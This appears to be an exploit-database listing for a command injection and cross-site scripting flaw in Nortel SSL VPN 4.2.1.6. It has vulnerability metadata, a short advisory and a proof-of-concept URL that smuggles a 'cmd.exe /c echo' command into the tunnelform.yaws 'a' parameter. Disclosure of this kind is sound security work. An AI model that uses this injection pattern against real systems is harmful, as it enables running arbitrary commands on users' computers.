header-logo
Suggest Exploit
vendor:
SSL VPN
by:
Unknown
7.5
CVSS
HIGH
Input Validation
Unknown
CWE
Product Name: SSL VPN
Affected Version From: 4.2.1.6
Affected Version To: Unknown
Patch Exists: NO
Related CWE: Unknown
CPE: Unknown
Metasploit:
Other Scripts:
Platforms Tested: Unknown
Unknown

Nortel SSL VPN Input Validation Vulnerability

The Nortel SSL VPN is prone to an input validation vulnerability that allows arbitrary commands to be executed on a user's computer. Cross-site scripting attacks are also possible.

Mitigation:

Unknown
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/15798/info

Nortel SSL VPN is prone to an input validation vulnerability. This issue could be exploited to cause arbitrary commands to be executed on a user's computer. Cross-site scripting attacks are also possible.

Nortel SSL VPN 4.2.1.6 is vulnerable to this issue; other versions may also be affected. 

https://SSL_VPN_SERVER/tunnelform.yaws?a=+cmd.exe+/c+echo+test+%3E+c:\\test.txt+&type=Custom&sp=443&n=1&ph=&pp=&0tm=tcp&0lh=127.0.0.1&0lp=8080&0hm=&0rh=10.10.10.10&0rp=80&sslEnabled=on&start=Start...

Navigation

Suggest Exploit

Services By CQR